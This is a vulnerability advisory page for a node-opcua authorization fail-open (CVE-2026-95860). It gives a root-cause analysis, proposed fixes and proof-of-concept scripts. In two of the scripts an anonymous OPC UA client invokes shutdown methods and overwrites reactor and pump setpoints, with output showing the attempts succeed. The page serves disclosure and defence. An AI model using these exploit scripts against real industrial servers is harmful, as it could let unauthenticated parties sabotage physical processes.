Investigate in your agent.

Turn this advisory into a focused investigation. Ask your agent to check your project’s versions, explain the evidence, and suggest a compatible fix.

Your agent needs remote MCP support and access to https://cve.new/mcp.

Read the setup guide

Skip to content
Check your stack
CVE-2026-95860

node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions

Products / packages node-opcua · node-opcua-address-space · node-opcua-server

Published

Share

Severity and exploitation

Not in CISA KEVSource: CRITICAL

KEV coverage does not rule out exploitation.

KEV checked 14/11/2026, 22:05:30 UTC
GitHub_M · CVSS:3.1 · 9.1
Assessment vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OSV · CVSS:3.1 · 9.1
Assessment vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
The headline uses the highest imported catalog score. Assessments can differ by source and CVSS version.

Severity

critical9.1

CVSS measures technical severity, not the likelihood of an attack.

Known exploitation

Not listed in the checked CISA KEV catalog

Absence from CISA KEV does not rule out attacks.

Public exploit

Exploit reference published

Source-linked evidence; not proof of attacks in the wild or independent validation.

Remediation

Package fixes recorded

Fix versions are recorded for 3 of 3 mapped packages. Check each release branch and any separate product guidance.

What this means

An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.

Source excerpt · OSV

Attack conditions

It requires that someone declared a namespace default. OPC 10000-3 §4.8.3 requires the opposite: "If they are not set the Server returns Bad_UserAccessDenied." ```js const { OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes, MessageSecurityMode, SecurityPolicy, UserTokenType, WellKnownRoles, makePermissionFlag, setNamespaceMetaData } = require("node-opcua");

Excerpt from the original source description below.

Review supporting sources →

Affected versions

Check the exact model, release, and any platform requirements against your installation.

node-opcua · GitHub_M

node-opcua

1 range

Compare with this publisher’s ranges. This does not inspect your installation.

affected

>= 2.42.0, < 2.180.0

unaffected

unknown

Other versions: unknown

Packages

Compare each installed version with the publisher’s affected ranges. Where a fix is recorded, choose the appropriate release branch and test compatibility before upgrading.

Affected range Recorded fix
From 2.42.0 before 2.180.0Semantic versions2.180.0

Version evidence: OSV · GHSA-xggf-m53x-jc3f

View original version evidence (0 explicit versions)
Affected range Recorded fix
From 2.42.0 before 2.180.0Semantic versions2.180.0

Version evidence: OSV · GHSA-xggf-m53x-jc3f

View original version evidence (0 explicit versions)

What to do

Compare your installed product and version with the affected versions above. A matching product name alone does not confirm exposure.

Use the recorded fix for your release branch. Review the publisher’s instructions and test compatibility before upgrading.

cve.new guidance unless attributed to a publisher. This page does not inspect your installation.

Public exploit evidence

The sources identify public exploit references. We have not independently tested them; their availability does not establish exploitation in the wild.

node-opcua/node-opcua · security/advisories/GHSA-xggf-m53x-jc3f ↗Attributed to CISA-ADP

Original source description

Read the full publisher description

Summary

An unauthenticated (Anonymous) client can Write protected Variables and Call privileged Methods on any Node that lacks explicit per-node permissions.

This follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit RolePermissions attribute inherit the namespace DefaultRolePermissions. OPC 10000-3 §4.8.3 mandates a default-deny evaluation (Bad_UserAccessDenied when the operation bits are not set); node-opcua instead grants all permissions.

The root cause is a combination of an authorization fail-open and a disconnect between the configuration API and the runtime enforcement path.


Affected configuration

This advisory covers two cases that are not equally severe:

  1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.
  2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default. Everything below describes case 2 unless stated otherwise.

Root Cause Analysis

Bug 1 - getPermissionForRole(null) returns allPermissions (violates §4.8.3 default-deny)

File: packages/node-opcua-address-space/source/session_context.ts:151-153

function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
    if (rolePermissions === null) {
        return allPermissions; // null means "grant everything" to ANY role, including Anonymous
    }

When the applicable policy resolves to null, the function returns allPermissions (Read, Write, Call) to whichever role is checking permissions, including Anonymous. OPC 10000-3 §4.8.3 requires the opposite: "If they are not set the Server returns Bad_UserAccessDenied."

Bug 2 - The namespace default resolves to null on the enforcement path

The runtime enforcement reads the DefaultRolePermissions / DefaultUserRolePermissions Variable nodes under Server/Namespaces/<ns>. These resolve to null in every reachable configuration:

  • NodeSet2-loaded namespaces (DI / ADI / vendor) ship the Property without a Value (null).
  • Programmatically-created namespaces have no NamespaceMetadata node under Server/Namespaces, so the lookup returns null.

Additionally, server_engine.ts:947-957 rewrites these nodes to a Null-typed value on every initialize(), with no restore:

for (const ns of namespacesNode.getComponents()) {
    const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
    if (defaultRolePermissions) {
        defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
    }
}

Note: the loaded value is already null in stock nodesets, so this reset only changes the value's dataType tag; it is not the sole cause, the namespace default is null regardless.

Bug 3 - Two incoherent enforcement paths

There are two separate and disconnected paths to resolve namespace-default permissions.

Path A (private field) - Namespace.setDefaultRolePermissions() writes the policy exclusively to a JavaScript private field in namespace_impl.ts:

public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
    this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}

This is the value read by local getters (e.g. BaseNodeImpl.getRolePermissions(inherited=true)).

Path B (UAVariable node) - the runtime access-control enforcement (Read/Write/Call) queries the DefaultRolePermissions UAVariable node instead of the private field (session_context.ts):

const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
    const dataValue = defaultRolePermissions.readValue();
    if (dataValue?.statusCode.isGood()) {
        return dataValue.value.value as RolePermissionType[] | null;
    }
}

Because Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to null, the metadata node is absent (programmatic namespace) or Null-valued (nodeset namespace) and the operator's setDefaultRolePermissions() field is never consulted. That null then triggers the fail-open (Bug 1).

Measured: with setDefaultRolePermissions([Operator]) applied, namespace.getDefaultRolePermissions() returns the policy while getApplicableRolePermissions() returns null.

Synchronization between the two paths only happens if the operator calls setNamespaceMetaData(), which binds the field to the node via bindVariable():

metaData.defaultRolePermissions?.bindVariable(
    {
        get: () =>
            new Variant({
                dataType: DataType.ExtensionObject,
                arrayType: VariantArrayType.Array,
                value: namespace.getDefaultRolePermissions()
            })
    },
    true
);

Without calling setNamespaceMetaData(), setDefaultRolePermissions() has no effect on runtime authorization. Furthermore, on NodeSet2-loaded namespaces setNamespaceMetaData() throws "INamespace meta data already exists" (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.


Steps to Reproduce

PoC-A - Address-space level (unit test, no network)

Save as packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, then run:

cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";

const _keep = should;

describe("PoC RBAC fail-open", () => {
    let addressSpace: AddressSpace;
    let namespace: Namespace;

    before(async () => {
        addressSpace = await getMiniAddressSpace();
        namespace = addressSpace.getOwnNamespace();
    });
    after(() => addressSpace.dispose());

    function anonymousContext(): SessionContext {
        const ctx = new SessionContext();
        ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
        return ctx;
    }

    it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
        const secured = namespace.addVariable({
            browseName: "SecuredWithNodePermissions",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        secured.setRolePermissions([
            { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
        ]);
        const ctx = anonymousContext();
        ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
    });

    it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
        const relyingOnDefault = namespace.addVariable({
            browseName: "RelyingOnNamespaceDefault",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        const ctx = anonymousContext();
        const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
        should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
        ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
        relyingOnDefault.isUserWritable(ctx).should.eql(true);
    });

    it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
        const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
        const method = namespace.addMethod(obj, {
            browseName: "PrivilegedMethod",
            inputArguments: [],
            outputArguments: []
        });
        method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
        const ctx = anonymousContext();
        ctx.checkPermission(method, PermissionType.Call).should.eql(true);
        method.getUserExecutableFlag(ctx).should.eql(true);
    });
});

Output:

  PoC RBAC fail-open
    ✓ A. CONTROL: per-node rolePermissions deny Anonymous
    ✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
    ✓ C. VULN: bound Method without per-node permission -> Anonymous can Call

  3 passing

PoC-B - End-to-end over TCP (programmatic namespace)

Save as packages/node-opcua/poc_b_e2e_rbac.js, then run node poc_b_e2e_rbac.js (add --safe for the control):

const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");

const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true
    });
    await server.initialize();

    const ns = server.engine.addressSpace.getOwnNamespace();

    // Operator hardening: namespace-level RBAC, Anonymous excluded
    ns.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
        { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
    ]);
    if (SAFE_MODE) {
        setNamespaceMetaData(ns);
    }

    const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    parentNodeId = device.nodeId;

    const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
    method.bindMethod((_in, _ctx, cb) => {
        console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodNodeId = method.nodeId;

    const variable = ns.addVariable({
        browseName: "ReactorSetpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 350.0 }
    });
    variableNodeId = variable.nodeId;

    await server.start();
    console.log(`[server] Listening on ${ENDPOINT}`);
    return server;
}

async function anonymousAttack() {
    const client = OPCUAClient.create({
        endpointMustExist: false,
        securityMode: MessageSecurityMode.None,
        securityPolicy: SecurityPolicy.None
    });
    await client.connect(ENDPOINT);
    const session = await client.createSession({ type: UserTokenType.Anonymous });
    console.log("[client] Anonymous session activated");

    let callStatus;
    try {
        const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
        callStatus = r.statusCode.toString();
    } catch (e) { callStatus = e.message; }

    let writeStatus;
    try {
        const r = await session.write({
            nodeId: variableNodeId,
            attributeId: AttributeIds.Value,
            value: { value: { dataType: DataType.Double, value: 999.0 } }
        });
        writeStatus = r.toString();
    } catch (e) { writeStatus = e.message; }

    await session.close();
    await client.disconnect();
    return { callStatus, writeStatus };
}

(async () => {
    const server = await startServer();
    try {
        const { callStatus, writeStatus } = await anonymousAttack();
        console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
        console.log(`CALL  EmergencyShutdown : ${callStatus}`);
        console.log(`WRITE ReactorSetpoint   : ${writeStatus}`);
        const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
        console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
    } finally {
        await server.shutdown();
    }
})().catch(e => { console.error(e); process.exit(1); });

Vulnerable output (node poc_b_e2e_rbac.js):

[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL  EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint   : Good (0x00000000)

Control output (node poc_b_e2e_rbac.js --safe):

Mode: SAFE
CALL  EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint   : BadUserAccessDenied (0x801f0000)

PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)

Save as packages/node-opcua/poc_c_nodeset_rbac.js, then run node poc_c_nodeset_rbac.js:

const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");

const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true,
        nodeset_filename: [nodesets.standard, nodesets.di]
    });
    await server.initialize();

    const di = server.engine.addressSpace.getNamespace(DI_URI);
    di.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
    ]);
    try {
        setNamespaceMetaData(di);
        console.log("[server] hardening: metadata bound");
    } catch (e) {
        console.log("[server] hardening FAILED:", e.message);
    }

    const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    deviceId = device.nodeId;

    const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
    m.bindMethod((_i, _c, cb) => {
        console.log("[server] Stop() EXECUTED by anonymous");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodId = m.nodeId;

    const v = di.addVariable({
        browseName: "Setpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 42 }
    });
    variableId = v.nodeId;

    await server.start();
    return server;
}

async function attack() {
    const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
    await client.connect(`opc.tcp://localhost:${PORT}`);
    const s = await client.createSession({ type: UserTokenType.Anonymous });
    const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
    const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
    await s.close();
    await client.disconnect();
    console.log("CALL  Stop()   :", call);
    console.log("WRITE Setpoint :", write);
}

(async () => {
    const srv = await startServer();
    try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });

Output:

[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL  Stop()   : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)

Impact

  • Write arbitrary values to Variables (CurrentWrite) governed only by namespace-level RBAC, e.g. process setpoints, safety parameters.
  • Call bound Methods. Methods have no AccessLevel second gate; executable defaults to true for bound methods (ua_method_impl.ts).
  • Affects every Node relying on the namespace DefaultRolePermissions inheritance mandated by OPC 10000-3 §5.2.9.
  • Anonymous receives every PermissionFlag because null resolves to allPermissions.
  • Availability impact (A:H, CVSS 9.8) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored A:N as deployment-specific.

What is NOT affected

Servers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.

  • Nodes with explicit per-node RolePermissions (correctly enforced - PoC-A case A).
  • Programmatically-created namespaces where the operator calls both setDefaultRolePermissions() and setNamespaceMetaData() (PoC-B --safe).
  • Variables without CurrentWrite in AccessLevel (the Call vector still applies to Methods).

Proposed Fix

  1. Fail-closed - getPermissionForRole(null) should return PermissionFlag.None, not allPermissions (per §4.8.3 default-deny).
  2. Coherent path - getApplicableRolePermissions() should use node.getRolePermissions(inherited=true), which already reads the namespace field correctly.
  3. API safety - setDefaultRolePermissions() should take effect on enforcement directly, without requiring setNamespaceMetaData() (which throws on nodeset-loaded namespaces).
  4. Hardening - server_engine.ts:947-957 should not unconditionally reset DefaultRolePermissions.

Spec Reference (verified verbatim against the official OPC Foundation reference)

  • OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles: "If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns Bad_UserAccessDenied." (default-deny, the behaviour Bug 1 inverts). https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3
  • OPC 10000-3 §5.2.9 - RolePermissions: "If not specified, the value of DefaultRolePermissions Property from the NamespaceMetadata Object associated with the Node shall be used instead." and "If a Server supports Permissions for a particular Namespace it shall add the DefaultRolePermissions Property to the NamespaceMetadata Object for that Namespace." https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9
  • OPC 10000-5 §6.3.13 - NamespaceMetadataType (defines DefaultRolePermissions / DefaultUserRolePermissions as Properties of the NamespaceMetadata Object). https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13

References

6 sources

Inside the record

Evidence available

Package identity
Version evidence
Remediation guidance · not supplied
Weakness classification
Additional publishers

Describes the evidence in this view, not whether the product is safe.

Original records

CVE-2026-95860

View the latest unmodified CVE JSON from the official source. It may be newer than this imported page.

cve.new JSON →

Underlying weaknesses

The source’s classification of what caused the vulnerability.

CWE-285 ↗

CWE-285: Improper Authorization

GitHub_M

Related →
CWE-636 ↗

CWE-636: Not Failing Securely ('Failing Open')

GitHub_M

Related →
CWE-863 ↗

CWE-863: Incorrect Authorization

GitHub_M

Related →
CWE-1188 ↗

CWE-1188: Insecure Default Initialization of Resource

GitHub_M

Related →
Contributing organizations · 2
GitHub_M

Assigning organization

2026-11-03
CISA-ADP

Additional data publisher

2026-11-07

Timeline

All times UTC
  1. Advisory published

    Publication date supplied by the source.

  2. Source updated

    Latest modification date supplied by the source.

  3. Last imported by cve.new

    Latest catalog import, not the date we first saw this advisory.

What changed

Follow changes
  1. CVE · CVE-2026-95860

    Observed 2026-11-07T03:44:44.816Z · upstream updated 2026-11-07T03:30:26.343Z

    Prioritization updated

    before

    []

    after

    [
      {
        "source": "CISA-ADP",
        "type": "SSVC",
        "role": "CISA Coordinator",
        "timestamp": "2026-11-07T03:29:59.942958Z",
        "decisions": [
          {
            "name": "Exploitation",
            "value": "poc"
          },
          {
            "name": "Automatable",
            "value": "yes"
          },
          {
            "name": "Technical Impact",
            "value": "total"
          }
        ]
      }
    ]

Large field values are marked as truncated previews. Original source snapshots remain retained.

Showing up to 50 most recent observed changes.